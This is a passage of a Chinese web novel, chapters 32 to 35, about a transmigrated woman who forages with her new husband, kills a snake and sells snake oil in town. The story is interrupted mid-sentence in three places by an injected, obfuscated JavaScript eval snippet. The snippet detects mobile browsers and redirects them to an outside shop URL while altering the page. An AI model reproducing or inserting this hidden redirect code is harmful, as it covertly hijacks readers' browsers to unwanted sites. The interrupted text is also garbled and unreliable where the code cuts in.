打开房门,原来徐晔就待在门口,幸好此时院中静悄悄的没有人出来,不然这理由也不知该怎么说,那脸上也似有一股在发呆的神气。 可听见动静他就回过神,回头一瞧,更是睁大眼眸,至少丁宝珠就没怎么见过他这幅表情。 “你快进去,我来做就好。”徐晔赶忙把那水桶给拿了过去,明明能见到已经闹了个红脸,还故意不满道,“穿成这样就不要出去了,万一让人见到了咋整?” 他絮叨完,就将那剩下的水泼在前面的地上。丁宝珠低头一看,原来是方才擦洗完后,她顺手就把那抹胸儿给穿上再来的。 这抹胸相当于内衣,又加上她快出嫁了,柳萍给她做了不少衣物,尤其是贴身的,这抹胸就是其中一个。 但在丁宝珠的眼里,这抹胸几乎把前面的身子全部覆盖住了,后面再用细绳绑住,就和她以前穿的运动内衣差不多,一时就没注意。 只是这对于这里的人来说,可能就有点刺激了…… 丁宝珠倚在门框看着徐晔,不禁笑道: “行,别人不见着,你见着就行。” 徐晔一怔,那脸上的颜色虽是刚刚消退了些,耳朵却仍是红红的,像是那密花果的色调,不自主地恼羞成怒地瞪了她一眼。 32. 酸甜馒头莓 整理好上床睡觉,丁宝珠又穿上里衣,打了个哈欠,因为仍有春寒,所以他们还是要盖被,只是肯定没条件换不同材质的被子,而此时盖了一床的也是那条喜被。 徐晔一上床就背对她侧身躺着,丁宝珠也不去管,反而觉得这样也好,正想闭上眼睡下,却听徐晔沉声道: “后日你要回门,爹嘱咐我明天寻个时辰带你去镇上买些礼物回去。” “哦。”丁宝珠应了声,“行,那明天再去瞧吧。” 徐晔顿了顿,倏忽转过身来平躺着,又说道: “姨母她讲话向来尖刻,你别和她一般见识,都少说几句也就行了。” 丁宝珠正声道:“她对我说的每一句话,我不都好好回她了?而且每次都是她起的头,让我少说,先让她少说才是正事,你应该也知道什么叫做‘人不犯我我不犯人’吧?我就是那人若犯我,我也犯人的,难道我还要忍着不成?” 徐晔沉默了下,那一瞬间脑内也不知想了什么,丁宝珠就更不睬那些了,正想睡,却又听前者问道: “你那生意,当真想继续做?” 唔,这算是转移话题么? 丁宝珠听出来后,也不纠缠,顺着他的话回答: “是啊,我早有这个想法了,而且在这里想要挣钱,我觉得除了做生意也没其他的了,村里其他婶子不也会外出这么做补贴家用吗?至于做什么生意,我做吃食比较擅长,完全可以往这个方面试试。” 好在徐晔从来不知晓原主会不会做吃食,就连家里也有自己在那几日的铺垫,现在一定也比较习惯了。 她想了想,又微笑道:“而且我们在田里讲的那些……我已经想好给你做什么了,保证你爱吃!” 庆幸床上近乎漆黑,徐晔勾勾嘴角,旁人也看不见。 “好,我知道了,先睡吧。” 一夜无话,又接旭日东升,那鸡鸣渐渐也连成了一片。徐翊与李银屏一贯起得早,见那房里一直没有动静,前者便叫后者去做早食。 早食做着简单,可李银屏依然是少许不情不愿的,抬了桌摆碗筷,看两人还是没起,忍不住说道: “哪有这么晚起的?村里又哪有儿媳妇不主动起来做早食的?” 徐翊却打断道:“这是奇了,晔儿没娶媳妇之前,难道你就不做早食了?” 李银屏噎了噎,不说话了。 徐翊又笑道:“人家新夫妻,这才几天,早晨起得晚了也不是什么罕事,你我还不懂?” 李银屏愣了愣,但最后她到底没把那件事告诉徐翊,眼底更是暗了暗,怪气道: “你也别太惯着他们了,特别是你那好儿媳妇,你认为她好,难不成忘了之前村里传的是啥风言风语了?我反正是不想管了,随便你们吧!” 徐翊还想解释解释,李银屏却直接转身离开了,只能摇了摇头。 而丁宝珠和徐晔今日也的确是起晚了。后者这次可没喝醉一觉睡到天亮,但身边多了个人,还时不时能碰到,也就根本睡不着,又不敢翻来覆去的怕吵醒了人,恨不得再去冲个凉才好,所以直到将近三更天了才勉强睡下。 可没有心理负担的丁宝珠却很快睡着了,而且因为被窝里暖和,又没有闹钟什么的,这才没醒。 窗外出现了几声鸟鸣啁啾,徐晔眯缝着眼,感觉到时辰了,惺忪醒来,就听屋外有人喊道: “大哥,大嫂,赶紧起来吃早食了!” “再不起来,早食就要被吃光了哦!” “汪!” 徐晔心里一惊,宛如一个翻身的鹞子起了身,瞥眼日头,这才发现他们起晚了。 偏头一瞧,丁宝珠还闭着眼侧着身,伸了条胳膊出来,素色里衣和深红被面显得格外有着对比。 徐晔忙着晨起,下来一面穿衣一面轻推了推她,喊道: “宝珠,快,快起了,家里人都在等着呢。” “唔……” 丁宝珠被叫起,她揉揉眼,不过大概是睡饱了的缘故,也很快就清醒了,和徐晔一块儿穿衣梳头,终于是出了门去。 吃早食时,徐翊又讲了那去镇上买回礼的事儿,今天就不用徐晔与他去下田了。 李银屏对这事情倒是没有发表什么言论,毕竟买了东西去娘家那回门,亲家总也要给礼,那价值也是和回礼相差无几的。 既然不下地去,徐晔便想着上山去转转,虽说如今是禁猎期,可仍能打打鸟雀什么的,他之前也是这样做,那打来的鸟雀也有用处。 家里的水缸和柴火才补充过,也不需要推磨饲养,所以丁宝珠就主动要求跟徐晔上山,这样也能一起下山,之后再去镇上。 计划好后,又吃过早食,丁宝珠去找了筐子和工具背上,徐晔也背了筐子,在里面放下什么,同时还在腰间别了东西,又招呼道: “黑虎,走了!” 他们吃啥,黑虎就跟着吃,所以也早已吃好了早食,精力满满地跟了过来。 丁宝珠一瞧,原来徐晔是带了弹弓和网,都像是手工自制的,看来猎户也自带制作猎器的技能。 上了山,徐晔就常常往上眺着,手里紧紧攥着弹弓子,那皮带里也早已装填上了石块儿预备着,连黑虎都是紧紧伴在他腿边,脚步声都没有。 丁宝珠见一人一狗已是十分警觉,不自主也变得蹑手蹑脚起来,万一是自己原因导致猎物逃走,那就不好了。 况且只要打到了猎物,那是既有的吃,也可能有钱赚啊! 不过她自己则是低头寻找着能入口的山珍。可惜在那后就没怎么下过雨,也只采了些长得快的野菜罢了。 野菜千篇一律,丁宝珠还是想找些菌菇笋子之类的。 结果菌菇没见到,她却发现了一种笋子。只是这笋并不是那粗壮的春笋,而是如同手指那样粗细的小笋子。 丁宝珠挖出来一批,又剥了其中一根的笋衣,看到里面那一节一节的嫩青白色,满意地一起放进背后筐里。 虽然不是春笋,但也是味道不错的野山笋,又能做菜了。 就在这时,不知从哪传来急速的嗖的一声,尖利的叽喳一瞬而逝,有什么从空中刷啦啦坠下来,啪嗒落在地上。 黑虎纵身一跃,提前叼住,像是防止复活的可能,又跑了回来。 原来是徐晔打中了一只鸟儿,一击即中。他从黑虎嘴里取走,那鸟在掌心里还挣扎着呢,他就用细绳捆巴捆巴给放进了筐中。 然而丁宝珠却抬头望向那鸟儿掉下时穿过的那棵树,眼前一亮。 徐晔见她不走,问道:“咋了?” “徐晔,这棵树上有吃的!” 丁宝珠兴奋道,伸手蹬脚就要往上爬,好似一副猛虎扑食的场景。 徐晔狐疑地也抬眼瞧了瞧,那只是棵到了时候所以开花了的树,难道她想吃花? 又见丁宝珠哼哧哼哧地爬着,连忙道:“你下来吧,别到时候摔了,我来爬。” “那请你把那些树穗都摘下来,我在下面接着。” 丁宝珠听了,乐得不去爬树,一溜儿就下来了。而那徐晔则是点了点头,活像是有轻功一般,三步并两步眨眼就到了树端,把那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281772|136164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 树穗一把一把采下丢下。 她更是乐此不疲地接住那暗绿色的树穗再收集起来,今天两顿菜是有着落了。 徐晔下了树,接着捕鸟,丁宝珠也低头寻找着更多的野菜,但之后,她找到的却是抬手可摘的野果。 除开那密花果,她又发现了一种像是莓果的果子,玫红色的或是紫红色的,倒要比密花果还好看些。 丁宝珠不确定这里怎么叫,就问: “徐晔,这个是什么果,你知道吗?” 徐晔瞅了眼便回答道: “这叫做馒头莓,酸甜味的,想来这时节也熟了,可以吃。” “那就好,咱多采点回去,莹儿芝儿也喜欢吃。”丁宝珠提议着,就去把那一丛尽数摘了。 之前丁宝珠上山采摘的东西都放在厨房里了,也没什么好藏的,所以也包括那些密花果,徐莹徐芝偶尔馋了,就去找丁宝珠要来吃上几颗,她也应允了,这些徐晔也知道。 听见两个妹子的名字,又想到了这事儿,徐晔的脸面柔和了一霎,再瞧着丁宝珠的背影,也是顺眼了不少。 可就在这时,黑虎身上的毛一耸,急急低吠了一声。徐晔反应过来,顺势定睛一看,就在那附近的草叶丛中,竟有窸窸窣窣游动着的身影,并且愈发凑近了! 徐晔心里咯噔一响,紧忙掏出根木棍来,粗略估摸了距离和长度后就重重往下砸去,啪的一声,倒吓了丁宝珠一跳。 “怎么了?” 话音刚落,她就见那草叶丛中竟然胡乱摇晃出了一条长虫,被狠狠敲了一棒,早已是找不到北了。她忙往旁躲着,那徐晔也是不开口,只是继续敲打着,在看清后,又对跳来跳去的黑虎喊道: “黑虎,上!” 黑虎龇牙咧嘴地冲了上去,和平常那副朴实憨厚的样子天差地别,嗷嗷叫着,一口就咬住了那半死的长虫。 臂长般的长虫最后死于一人一狗的围捕下,徐晔又用木棒勾起那条蛇,细看了看,放心道: “还好,这蛇是没毒的。” 丁宝珠见蛇死了,也上前去瞧,问道: “怎么我上次上山没遇到?” 徐晔瞥了眼,叮咛道:“那是你运气好没碰上而已,不然这长虫善于隐藏,万一又是个有毒性的,咬了你,你都不知道,一个人更是危险!惊蛰后这蛇就多起来了,记得以后找根棍子,往前面地上扫一扫再走。” 丁宝珠明白徐晔这是关心,立刻答应了,她其实也是属于不怎么上山的人,看来还是把大山想得简单了。 徐晔见她这样乖巧,突然一时不知该说什么,便埋头取出一把小匕首来,先将那蛇头斩下,挑着给扔去了角落里。 丁宝珠又笑道:“既然没毒,那是不是说明可以带回去吃了?” “……吃?” 徐晔一脸疑惑,把那蛇尸展开道: “一般我们捕到蛇,都是取蛇胆,熬蛇油,再拿去卖的。至于蛇肉,虽然也尝试着做过,但并不好吃,也就不吃了。” 丁宝珠哼笑道:“那是因为你没交给我做,我保证做得好吃,等以后你争着去捕蛇咧。” 这话说的,徐晔还真有了几分好奇,或许也有些没察觉到的拉扯,便点点头说: “行啊,那这就交给你了,我们走吧。” 到了最后,两人的背筐都装满了,就沿着上来的路回家去。 徐家在村里住得偏僻,上下山却简便,没过多久就到了家。 还没进家,他们就见到院里已放了桌,灶房外炊烟袅袅,对视一眼,齐齐推门而入。 33. 采买 几人围在桌边吃饭,丁宝珠还特意去洗了一盘密花果和新采的馒头莓来做果盘,那徐莹徐芝果然喜上眉梢,只是李云屏就在这,她们也不敢太亲近了。 简单吃过,丁宝珠和徐晔先整理了上半日的收获,后者又把那条蛇尸交给了徐翊,比起自己,还是后者处理蛇更熟练。 “爹,我们这次捕了条蛇下来,您就把蛇胆蛇脂取了,等我们去镇上再看看能不能卖了。” “这个好,只是你们没受伤吧?”徐翊问。 “放心吧爹,我和黑虎还能察觉不到?赶在它攻击之前就打杀了。”徐晔说到这停了停,又补充道,“宝珠也没事,还有,她说把该取的都取了后,那些蛇肉可以留下来。” “哦?难道她还想把这蛇肉给烹了?”徐翊也诧异,却是吃过丁宝珠的手艺,所以并没有抗拒,只是笑道,“爹知道了,马上就好。家里先前还攒着几小罐蛇油,留点下来我们自用,那对烧伤和冻疮好,其他的也能去看看能不能卖了。” 徐晔答应了,又去寻丁宝珠,只见她在院里角落,身前有一盆水,她坐在旁边正在清洗着什么,而徐莹徐芝也待在旁边看。 “大嫂,这东西看上去就像是毛毛虫一样,真的能吃吗?”年纪稍小的徐芝忍不住问道。 丁宝珠抬起手背擦了擦额头,笑道: “放心吧,能吃,就是要先多洗几遍,等我和你大哥回来了,就给你们做。” 丁宝珠手脚麻利地去掉多出来的茎秆叶子,重新打了一盆水,将所有的树穗浸泡进去,她还在里面撒了点粗盐,更能干净。 暂且处理好,丁宝珠又去剥野山笋的笋衣,对俩姐妹说道: “这笋子做起来就简单了,不过要说最好吃的,嘿嘿,那肯定是烧肉啦。” 徐莹徐芝一听是笋子烧肉就馋起来,好像现在已经入口了,两脸心旌摇荡的神色。 徐晔微笑了笑,上前道: “爹去处理蛇了,等准备好,咱们就去镇上。” 听到自家大哥大嫂还要上镇,徐莹徐芝就更加羡慕了,毕竟她们两个小辈想要去镇上玩儿,只有逢年过节和赶市的时候。 “大哥,你们上街,能不能给我带根糖果子呀?”徐芝拉着徐晔的袖子央求道。 徐晔摸摸她的脑袋说道: “行,我给你带。” 徐莹也上手帮丁宝珠剥笋衣,那野山笋良莠不齐,细得太细,笋衣一剥也没有多少肉,所以这次后者采了许多回来,准备一半今天料理了,另一边就做成笋鲊。 听徐芝在徐晔面前撒娇,丁宝珠问道: “糖果子是什么?” 徐芝奇怪她竟然不知那是何物,却也立马解释道: “就是有些小摊子上卖果子的,穿成一串,上面再裹上糖,比生果子还好吃呢。” ……那不就是冰糖葫芦么? 毕竟这玩意儿可不局限于山楂! 丁宝珠摆摆手道:“我当是什么,原来是那个,那我也能做……低配版的。” 正宗的糖葫芦要用到冰糖,她去看过,冰糖可以说是最贵的糖种类,起码现在她是没这条件的,但若是降一档的,她也不是不能做出来。 徐芝张大嘴惊异,很快又转向了喜,大声问道: “大嫂,你竟然连糖果子都会做?太厉害了吧?” 丁宝珠:……真没啥,夸得我都不好意思了! “要是有材料的话,我能够试试,等以后有机会吧。”她打着哈哈。 徐晔颦眉说:“芝儿,别劳烦你大嫂做这做那的,一会儿你大哥上街给你带就成了。” “哦……” 灶房里隐约传来滋啦滋啦的声响,那是徐翊取下蛇身里的脂肪后再熬煮的动静。不过一条蛇里本就没有多少脂肪,所以直到最后冷却成油,用的时辰也快。 丁宝珠这边也备好了菜,就等回来后烹饪了。于是她和徐晔两人再次背上筐子,带上东西,就离家前往祥安镇。 没走几步,徐晔问道: “要不要坐车去?现下应该还有。” 丁宝珠笑着回答: “不用了,我们快些走就行,而且我还想去那路道上瞧瞧。” 徐晔一开始困惑,他们此次去镇上就是要去买点礼品的,所以那大道儿上小摊小贩上的货物就不看了,不知为何她仍然要去? 但不久他也想到,丁宝珠起初就是在那里摆摊的,如果她要重新去摆,也一定会重回那里,先去见见也好。 两人加快步伐,那丁宝珠原就长得身材高挑些,腿也不短,倒不用徐晔特地慢下来等。 出了村子,远远见那大道两侧有不少摊贩,也和她记忆里的相差无几,就连那杏花树,也尚开着一枝一枝的杏花。 可杏花这种花,随着时间推移,花瓣上的颜色是会变化的,如果说彼时的还像胭脂,此刻却是更浅一层的淡茜红了。 徐晔也见到那杏花了,不知怎么恍惚了片刻。上回他们还是没见过几次的人,谁能料到这回她就是成了自己的妻子…… 丁宝珠倒是没想那么多,一边走着,一边这里看看,那里瞧瞧,而就在这时,她听见不远处有人吆喝道: “卖凉糕咯!卖凉糕咯!” 好么,果然是有新的凉糕摊子了。 和徐晔对视一眼,也就循着声音过去。但小摊贩的布置都是如出一辙的,丁宝珠上前看去,见到那贩子身前也是一个木桶,里面放着一片白花花的凉糕,皆是糯米皮的。 看有客人过来,本该马上招呼,可那小贩见到丁宝珠却稍许愣了愣,但很快反应过来,当做没事儿人似地问道: “娘子,要不要尝尝凉糕?只要一文钱一块,很好吃的!” 丁宝珠也感觉好像在哪里见过他一样,却没有多想,只是笑着摆了摆手,就和徐晔走了。 行了几步,又听有人喊道: “嗳,姑娘,你等等!” 丁宝珠转头一看,眼前这人就更加熟悉了,便笑道: “大叔,原来是你啊?” 那正是她的头一个客人,在之后也是比较光顾她生意的人。大叔的摊子上放着一些箩筐、簸箕和篮子,都是用竹篾编制的,看来他是一名篾匠。 “是我!姑娘好久不来摆摊了,你也见着了吧?已经有其他贩子改卖凉糕了,所以是出了啥事吗,你咋不来了呢?” 丁宝珠扶了扶自己终于觉得扎得满意的发髻,笑道: “没啥事,就是我出嫁了,所以这几天就没准备。” “哦哦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13297442|136164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,原来是这样,恭喜啊。”大叔了解后,还不忘小心瞥了眼旁边的徐晔。这大叔应该不是象山村的人,也没听说过关于徐晔的事情,可后者在外向来是个冷面郎,又兼那胎记,在别人眼里就显得不近人情了些。 但大叔又见丁宝珠依旧笑吟吟的,想来嫁得还好——再说这也不管他的事,便转移话题问道: “那不知娘子还有没有想法过来摆摊啊?” 丁宝珠假装没听出来其中的含义,笑着问: “大叔,你这是啥意思啊?” “……嗐,还不是想吃你做的凉糕了。” 大叔不好意思地挠挠头,又朝那新来的凉糕摊子努了努嘴儿道: “那新来的卖凉糕的,想是看你卖凉糕有生意做,你那几天没来后,也就卖起来了,价格还比你便宜,一开始也有人去买,但后来去买的人就没你那时多了。我好奇,也去买了一块儿尝尝,都是相同的枣泥馅,可没你做的好吃,更别说你那口味多,还有茶水卖,我家里也喜欢你做的凉糕呢。” 丁宝珠默默向徐晔抛了个笑眼,那是副有些小得意的模样,况且那篾匠大叔又说得有几分情真,让徐晔心下一软,多了点思量。 往年他家里总是秋冬进山打猎,为了多捕获猎物,常常和自己阿爹近乎住在那山里,变现绝大多数也是为了先坚持翌年上半年的生活,而且其中还有几年打到的猎物并不多的情况,就导致后面过得些许紧巴巴的了。 若是丁宝珠这摊子真能做起来,岂不是每个季度,每个月,甚至是每一天都能有收入?——何况她的手艺确实不错。 丁宝珠笑道:“之后要是有机会,我就再出摊,到时候大叔再来光顾哈。” 大叔眼前一亮,忙不迭点头道: “好咧好咧,那时我肯定去!” 告别了篾匠大叔,丁宝珠就和徐晔接着前往祥安镇。 “怎么样,知道我的能耐了吧?”前者碰碰徐晔的胳膊笑道。 徐晔原本已有了选择,可瞧她这嘚瑟样儿,心里话不说,却哼声道: “摊还没摆起来呢,你就这样自满,可别到时候做不起来,哭着鼻子就回来了!” “这我明白,创业嘛,总是有得有失的。” 丁宝珠又装作深沉地叹道,但她转了转眼珠,继而笑盈盈地说: “但不管怎样,试一试也是好的,只要你答应,我马上就能把摊子给摆出去。” 徐晔下意识地回道:"还是再和爹和姨母讲一声好。" 丁宝珠撇嘴道: “我干嘛一定要争得他们的同意?我嫁的是你,又不是爹和姨母,而且爹肯定会答应我的。” “……倒也是。”徐晔斜着眼说,“这才几天,你就哄得我妹子和我爹全向着你了,你最好真是这样没啥别的心思!” 一路闲话,终于到了祥安镇。徐晔要去卖那蛇胆蛇油,便交给丁宝珠一个荷包,嘱咐道: “我也不清楚岳父岳母还有你妹子喜欢啥,这钱给你,你挑好的买就成,别节省。我这花的时间不多,一会儿我来找你。” “行啦行啦,我知道了。” 丁宝珠接过荷包,那重量却不轻,里面装满了铜钱,也不知是不是徐翊给的。而说好后,两人就分头去了。 34. 卖蛇油 回门礼带的无非是些精贵东西,例如酒、糖、茶、糕,亦或是肉、鸡子、粮食、生果什么的。 丁宝珠选了家里较少的物品,包了一包细盐和一包白糖,又买了小半坛子醇酒,几包糕点,也就差不多了。 仔仔细细放好,那徐晔的动作果然很快,况且丁宝珠在这条街道上就买好了所有的东西,顺着路也能找到了。 徐晔上前来看了眼筐里的物品,蹙眉问道: “这些就够了?会不会少了点?” “送礼心意到了就行,放心吧。”丁宝珠说完,又揶揄道,“再说了,我爹娘人好,说话也不会尖酸刻薄的,指不定想见你都来不及呢。” 徐晔感觉被噎了下,不说话了,丁宝珠又问: “蛇胆蛇油卖出去了?” 徐晔如实答道:“蛇胆卖给了药铺,但只是个沟货,所以只卖了几十文,那蛇油问过了,可没卖出去。” 虽然所有的蛇胆皆能入药,可药铺的人更喜欢毒蛇的蛇胆,那蛇毒性越大,蛇胆就越是个宝贝,无毒蛇的蛇胆自然便宜了。 然而想要去捕捉毒蛇,可能比猎兽还要危险,幸好徐家不是全职的。 丁宝珠微微皱眉道:“以后当心些,这次是无毒的蛇,难保下次不会遇到毒蛇,被咬一口可不是说笑的。” 徐晔心中纳罕,他竟没想到她也会关心他人。不过到底来说,迎亲那日揭盖头时,他就莫名感到有点古怪,若丁宝珠真如村里传言的那样,又怎会有一双黑亮如潭的眸子呢? 他不通文墨,但自己的感触是最真实的,彼时他觉得心湖里流淌出一股莫名的暖意,那是一种十分奇异的感受。 “……你还说我,我至少还懂如何攻击那长虫,你连提防都没有,究竟是谁要当心?”徐晔偏头哼声道,“行了,讲那么多做啥,咱们还是快些买东西去。” “哎呀,你急什么?不是还有那蛇油吗?你就放弃了?”丁宝珠问。 徐晔疑惑道:“我已经问过镇上的医馆和药铺了,他们都不要,还能卖给谁?难不成摆个摊子?那得等到啥时候才能卖掉?” 祥安镇上一共只有一家医馆和两处生药铺,就这配置,却已经是附近大大小小镇上的顶配了,这几家不收也罢,大不了就带回去自用。 丁宝珠思索片刻,问:“这镇子上有没有卖类似于胭脂水粉的铺子?” 徐晔一怔,以前是他自己不在意,现在是丁宝珠压根不提,所以他也忘了女子大抵是最喜那些胭脂水粉的——后者就在迎亲那日打扮过,之后一直是素面朝天的。 可村里哪家媳妇儿和有条件的姑娘不打扮?也许是想要也说不定。徐晔想着,回答道: “我没咋买过那种东西……但祥安镇应该是有的,你是要去买啥么?” 丁宝珠神秘一笑:“先找到了再说,到时你就知道了。” 徐晔不清楚她卖的什么关子,只好跟着一起找店铺。好在热闹的街上果真有店,只是那大小也只能称作是个铺子而已,饶是如此,那边上也停留着几位姑娘和少妇。 丁宝珠去瞧了瞧,卖得是最简单的妆粉与胭脂,不知镇上是否仅有这一家店,生意看上去不错。 那小贩招待完前面几位客人,又见到丁宝珠和徐晔,笑得眼睛都眯起来了。这个组合一看就是对新婚夫妇,肯定是蜜里调油的状态,必须好好推销,生意绝对做得成! “娘子郎君来得巧,我这里刚刚才上了一波新的妆品,请问娘子需要什么?” 丁宝珠假意先瞧了瞧那些货,不过她对妆品其实没那么感兴趣,如今她要么是上山要么是做活,哪有这兴致? 然而徐晔以为她是真想买,虽说胭脂水粉在村里那是属于不能吃喝也不实用的东西,只有家里条件好的才买,但在临走前,徐翊给了他那一包银钱,也不是不够用。 何况迎亲那日,丁宝珠脸上也略施粉黛过,鹅蛋脸面似乎尤为适合上妆,纵然他彼时被灌了酒,却也见到她唇上那一抹似抿非抿,似笑非笑的海棠红,莫名显得很是楚楚动人。 可惜后面就洗了,然后再也没有看到过。 徐晔想到这,便道: “你想要啥就买,到时候回娘家了也扮扮。” 那小贩眼前一亮,听这口气,可能是笔大买卖啊! 丁宝珠笑而不语,挑挑拣拣了下,却突然对前者问道: “老板,你这儿就这些妆品吗?” 这娘子对这些还不满意?小贩搔搔脑袋,可仍然继续殷勤地回答道: “只有这些,但我保证都是新进的品,还是当下流行的品!娘子不如试用试用再做定夺?” “不用了,只是……” 丁宝珠停了停,拿了东西切入正题道: “老板,您看看这个如何?上好的自家熬的蛇油,连点杂质都没有呢!” 不单是那小贩,就连徐晔也是吃了一惊——原来她不是来买妆品的,而是在帮忙卖那卖不出去的蛇油? 小贩惊讶道:“我说娘子,您不买东西也就算了,怎么还向我推销起来了?再说这蛇油,您应该去药铺问呀。” 这做生意讲究的就是一团和气,所以即使丁宝珠不买东西,那小贩也没要赶人的意思。 丁宝珠笑道:“老板,这你就不清楚了。蛇油虽然是主治烧伤烫伤和冻疮这类的伤,但其实还有个作用,那就是养颜美容,对滋润保养皮肤这方面效果是最好的。老板你想想,有没有其他姑娘娘子过来是想要嫩肤,去痘,或者去皱纹的妆品?这蛇油可是一个极好的护肤品呢!” 那小贩顿了顿,才半信半疑问道:“真的假的?娘子莫要诓我。” “咱都是去山上捕蛇多了的,一条蛇的上上下下哪里不明白?老板你要是不相信,去问问镇上医馆药铺里的人不就行了?镇上可能又只有您这一家胭脂水粉铺子,那客人不皆是往您这来?有了这新品上架,那生意挣的一定会比我这笔生意还多啊!” 小贩自然知晓镇上来的最多的就是靠山吃山的村里人,又被丁宝珠这一番撺掇,心里就活泛起来,让小伙计暂时看着店,自己就想去医馆询问一下了。 丁宝珠见八字已有了一撇,当然是笑着送小贩离开。 徐晔在一旁轻声问道:“你说的都是真的?这蛇油还有那功效?” 丁宝珠凑近道:“我作为女子,肯定比你懂,你到时见机行事就成。” 徐晔挑了挑眉。见机行事?这怎么不像是光明正大的做买卖,而是在做什么地下交易? 那小贩不过一会儿就急匆匆赶来,见丁宝珠和徐晔还等在原地,不禁换了个笑脸,上前道: “娘子,我去问过了,那大夫还真是那么讲的,这蛇油确实有那效果。不瞒您说,您还真是料到了,虽说我在这卖着妆粉、胭脂和眉墨什么的,却也有人过来询问那养颜之物,但我这还真是没有!” “是啊是啊,而且皮肤不好,就算是上了妆,那也不好看呀。”丁宝珠继续鼓动着,又拿出那罐蛇油来。“而且一条蛇的体内总共才有多少脂肪?好不容易才熬了这么一罐,咱们也是想快点出手的。老板你可以检验检验,这罐可不是那种劣质的蛇油,不然就连功效也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306714|136164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会大大减少的!” 小贩接过去往里瞧了瞧,又嗅了嗅,还回来笑道: “那娘子想要多少银钱出?我就要了吧。” 丁宝珠笑着说:“要是老板诚心想要,就五百文吧,这么多一罐呢。” 小贩咋舌道:“五百文?!娘子的口开得也太大了吧?” “那老板的心里价是多少?”丁宝珠问着,不紧不慢地说,“况且老板您卖的时候也不需要一次性卖啊,做批比铜钱大的小圆盒子,里面盛了蛇油再卖出去,这么一罐子估计不仅能回本,还能赚呢!再说这也算是一种药物,价格哪会便宜呢?” “这……” 小贩迟疑了片刻,咬咬牙说道: “既这么着,那就四百文吧,我也算交你这个朋友了,先卖你这罐试试,要是卖的好,你以后要是再有了,我也要!” 丁宝珠还没说什么,一旁的徐晔忽然开口沉声道: “四百五十文,一手交钱一手交货,两清。” 丁宝珠睃了他一眼。这还真成地下交易现场了? 小贩下意识想反驳,却见娘子的那位夫君的目光冷森森地盯着自己,脸上的红斑耸动,舌头就一下子像是被打折了似的,磕巴道: “好、好吧,那就四百五十文,我让人取钱去。” 丁宝珠见生意做成了,连忙道: “要是方便的话,那四百文就换成银子,另外是五十文铜钱,可以吗?” 小贩便让人秤了四钱银子,又给了五十文铜钱。丁宝珠收下,就将那罐蛇油送过去,再与徐晔离开。 离那家店远了,丁宝珠才笑道: “说是见机行事,你还真见到机了,这次表现不错嘛。” 徐晔不回复,只是仍旧觉得有些惊异,他家也不是头一次来镇上卖蛇油,那些份量能卖个两百文就已够了,没想到被她一通话语输出,竟然多赚了,加上那卖出去的蛇胆,今天竟然赚了有半两银了! 而这还是要归功于她——毕竟他完全不知道蛇油还有这种销路。 丁宝珠见徐晔不理自己,也不多话,正想去买其他东西,却听徐晔蓦地说道: “你之前不是说想要做生意么?准备啥时候去?” 丁宝珠怔了下,随即笑道: “我正想买些材料回去做呢,要是快了,明天就能出摊,但明儿要回我家,所以只能到后日了。” 她说完,又眯着眼问道:“怎么,你这是改变主意了?” 徐晔哼声道:“我算是看出来了,你就是那茶壶上被打掉把儿,渣儿又被鸡崽子吃了——能说会道的!反正就是家里不让你去,你肯定也有词儿来辩,然后得到自己想要的,那还不如我先同意了。” 丁宝珠看出了他那别扭劲儿,分明是觉得她可行,却偏偏不直接讲,便又笑嘻嘻道: “是是是,我就晓得夫君对我最好了,到时候我研究出新品,先给你供上。” 徐晔心里重重一跳,不快道:“……你胡吣个啥!” 丁宝珠见他仍不转过来的脸变了颜色,又是抿嘴一笑: “徐晔,你的脸上怎么和抹了胭脂一样?现在是比我还好看咯~” 她说完,撒开脚步就跑,徐晔咬着牙,开始与她进行了一场小小的追逐战起来。 但街上到底人多,背后的筐里又放着东西,没跑几步,他们就停下了。 “好了别胡闹了,咱们快去买东西。” 徐晔的运动量向来大,这几步心不跳气不喘的,丁宝珠自觉停下来,点点头,两人又往热闹的市场而去。 35. 李子糖果 来到市街,人声鼎沸。丁宝珠先进了一家粮食铺,这里面的粮食可比外面的选项多,也正规一些。 买了许多糯米,新买了几斤糙米和黍米,还有一袋荞麦。荞麦可以自己去磨粉,丁宝珠想了想,对徐晔说: “咱们再买些面粉吧?” “想□□面了?” 徐晔问,不过到底来讲比起口感粗糙的杂粮饼子,那肯定是白面饼子更好吃。只是他们都吃惯了,所以不会特别想,就是不知丁家的条件是怎样的。 丁宝珠怕他误会,解释道:“用不着买很多,也不买那精面,买粗制面就行,主要是在粗粮粉里加上一些,口感会好点。就像上次我做了那荞麦饼子,也是因为做得够薄,又烙得香了,你和爹吃得才香,要是再能加些白面进去,肯定会更好吃。” 